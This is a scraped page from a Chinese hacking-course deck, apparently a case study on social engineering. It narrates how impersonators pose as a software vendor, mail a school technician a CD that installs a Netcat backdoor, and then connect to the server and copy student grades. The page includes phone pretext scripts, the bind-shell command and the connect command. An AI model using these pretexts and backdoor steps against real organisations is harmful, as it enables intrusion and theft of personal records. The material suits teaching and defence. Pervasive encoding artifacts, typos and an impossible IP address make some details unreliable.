社會(huì)工程學(xué)的應(yīng)用與防護(hù)-資料下載頁
2025-09-11 21:47本頁面
【正文】 管理軟件的事情。我看了幾個(gè)軟件比如：共拓學(xué)籍管理、一點(diǎn)通學(xué)藉管理等．但我不能確定哪一個(gè)軟件最靈活，你們用的是哪個(gè)學(xué)籍管理軟件？ 李明陳述了自己在學(xué)籍管理軟件方面的知識(shí)，來免除馬濤對(duì)自己教育背景的懷疑．李明還詢問馬濤哪一個(gè)軟件軟件最靈活，原因在于他在論壇中已經(jīng)看到這些軟件的流行程度和靈活程度的排名。 馬濤：我們一直在使用 Gradebook．對(duì)這個(gè)軟件我們很滿意。 至此，李明繼續(xù)問一些與這個(gè)軟件有關(guān)的問題，依據(jù)是事先對(duì)這個(gè)軟件的了解。當(dāng)談話結(jié)束時(shí)，李明已經(jīng)知道了這個(gè)學(xué)校使用的學(xué)籍軟件的類型．負(fù)責(zé)技術(shù)的工作人員的姓名是馬濤。 在下一個(gè)階段，李明選擇了另一個(gè)人與馬濤聯(lián)系，原因在于他可能會(huì)聽出李明的聲音。此外，由于馬濤是位男士，常言道，男女搭配．干活不累，因此，李明請(qǐng)他的同事王晨冒充 ThinkWave的銷售代表來打這個(gè)電話。在與馬濤聯(lián)系之前，王晨等待了數(shù)周，以避免惹人注目。 網(wǎng)絡(luò)黑客攻防實(shí)戰(zhàn) 項(xiàng)目五、綜合案例研究 王晨：你好，是馬濤嗎 ?我是 ThinkWave公司的業(yè)務(wù)代表王晨。我們想請(qǐng)你參加我們的客戶改進(jìn)計(jì)劃，作為回報(bào)，在未來軟件升級(jí)時(shí)，貴?？梢缘玫?20％的折扣。 由于大多數(shù)公辦學(xué)校的資金都比較緊張，因此可以合理地認(rèn)為馬濤會(huì)被這個(gè)省錢的說辭打動(dòng)。 馬濤：是嗎 ?需要我做些什么 ? 王晨：這樣，我將向你發(fā)送一款報(bào)告軟件，你把它放在服務(wù)器上。在發(fā)送給你的郵件中，包含了這個(gè)軟件的配置方法。這個(gè)軟件的主要功能是。在系統(tǒng)出現(xiàn)任何錯(cuò)誤時(shí)．他都生成一份報(bào)告，并發(fā)送給我們。它不發(fā)送任何個(gè)人信息．僅僅發(fā)送計(jì)算機(jī)的類型、發(fā)生錯(cuò)誤的時(shí)間、發(fā)生錯(cuò)誤時(shí)系統(tǒng)中運(yùn)行的進(jìn)程。通過從我們的客戶那里收集這些信息．我們希望在未來的發(fā)行版本中能夠減少軟件錯(cuò)誤。 馬濤：很好呀。 在這次通話之后，李明從網(wǎng)上下載 ThinkWave的標(biāo)志，并在信紙的抬頭上印上這個(gè)標(biāo)志。李明在網(wǎng)上找到 FainkWave的地址，并向馬濤寄送一個(gè)包裹，寄件人地址寫上 ThinkWave的地址。包括中包含了一張帶有 Nctcat實(shí)用程序 (當(dāng)然你也可以使用其他的木馬程序 )的 CD和一封信，信的內(nèi)容為： 網(wǎng)絡(luò)黑客攻防實(shí)戰(zhàn) 項(xiàng)目五、綜合案例研究 馬先生，你好： 感謝參與本公司客戶改進(jìn)計(jì)劃。我們確認(rèn)你的協(xié)助將會(huì)幫助改進(jìn)我們產(chǎn)品未來發(fā)行版本的質(zhì)量。與這封信一起寄給您的十一章包含報(bào)告軟件的 CD。當(dāng)系統(tǒng)中發(fā)生錯(cuò)誤時(shí)這個(gè)軟件將會(huì)生成一份報(bào)告，并發(fā)送給我們。我向你保證不會(huì)發(fā)送任何個(gè)人信息。安裝這個(gè)報(bào)告程序的方法是將 CD放到服務(wù)器光驅(qū)中，它將自動(dòng)啟動(dòng)安裝程序，如果沒有啟動(dòng)的話，使用 。 這個(gè)報(bào)告程序使用 TCP端口 1753，您需要在防火墻上打開這個(gè)端口。打開這個(gè)端口的具體方法，請(qǐng)參閱您的防火墻文檔。 通過參與我們的客戶改進(jìn)計(jì)劃，在未來軟件升級(jí)時(shí)，你將自動(dòng)得到 20%的折扣。感謝你的支持和參與。 祝身體健康、一切順利！ ThinkWave公司代表 王晨 2022年 4月 26日 網(wǎng)絡(luò)黑客攻防實(shí)戰(zhàn) 項(xiàng)目五、綜合案例研究 CD的內(nèi)容是李明生成的一個(gè)安裝程序，它將 Netcat安裝在服務(wù)器硬盤的根目錄下： Netcal是一個(gè)后門應(yīng)用程序，它為李明提供了進(jìn)入服務(wù)器的遠(yuǎn)程訪問。安裝腳本使用下面的參數(shù)啟動(dòng) Netcat： c:\nc l p 1753 t e 數(shù)天之后，李明請(qǐng)王晨打電話給馬濤。 王晨：你好，我是王晨，我這次打電話是想問一問你，在安裝我們的報(bào)告軟件時(shí)遇到什么問題了沒有 ? 馬濤：沒有，一點(diǎn)問題也沒有。 王晨：這就好。我們就想聽到這樣的話。現(xiàn)在我們需要知道你的外部 IP地址，以便在我們收到報(bào)告時(shí)，知道這份報(bào)告來自你那里。 馬濤：沒問題。我查一查，找到了， IP地址是 200． 300． 55． 28． 王晨：太謝謝你了。如果你有什么需要，就告訴我們。你有我們的技術(shù)支持電話號(hào)碼嗎。 馬濤：我有。 網(wǎng)絡(luò)黑客攻防實(shí)戰(zhàn) 項(xiàng)目五、綜合案例研究 李明已經(jīng)掌握了 ThinkWave的電話號(hào)碼，這樣，在需要的時(shí)候，王晨就能夠把它說出來，以便不引起馬濤的懷疑?，F(xiàn)在可以訪問這個(gè)學(xué)校的服務(wù)器了。李明在他的計(jì)算機(jī)上輸入下述命令： C：＼ nc 200300． 55． 28 1753 這個(gè)命令試圖使用端口 1753建立與那所小學(xué)服務(wù)器的連接。果然，在李明查看它屏幕時(shí)，看到自己已經(jīng)獲取了該服務(wù)器的訪問。李明執(zhí)行一條目錄列表命令．確認(rèn)成功訪問： C:\dir Volume in drive C has no label． Volume Serial Number is 8496— 8025 Direccory of C:\ 06／ 01／ 2022 04： l0 PM DIRThinkwave 04／ 14／ 2022 03： ll PM DIR WINNT 04／ 14／ 2022 07： 43 AM AUTOEXEC． BAT 等等 網(wǎng)絡(luò)黑客攻防實(shí)戰(zhàn) 項(xiàng)目五、綜合案例研究 現(xiàn)在，李明已經(jīng)能夠訪問學(xué)校的服務(wù)器。他轉(zhuǎn)到學(xué)籍管理軟件的安裝目錄，并把數(shù)據(jù)復(fù)制到本地算機(jī)上。李明記錄了整個(gè)過程，并抓了幾張屏幕截圖，一邊在以后將它們添加到報(bào)告中。 李明使用文本編輯器打開下載的文件．在文件 010521． edt中發(fā)現(xiàn)下述內(nèi)容，確認(rèn)它是學(xué)生成績(jī)文件： 010521 語文 A 010521 數(shù)學(xué) B 010521 物理 A 等等 僅僅通過幾個(gè)電話和幾條命令，李明就獲取了學(xué)校服務(wù)器的訪問，得到了所有學(xué)生的成績(jī)。 謝謝！
試題試卷相關(guān)推薦
鄂ICP備17016276號(hào)-1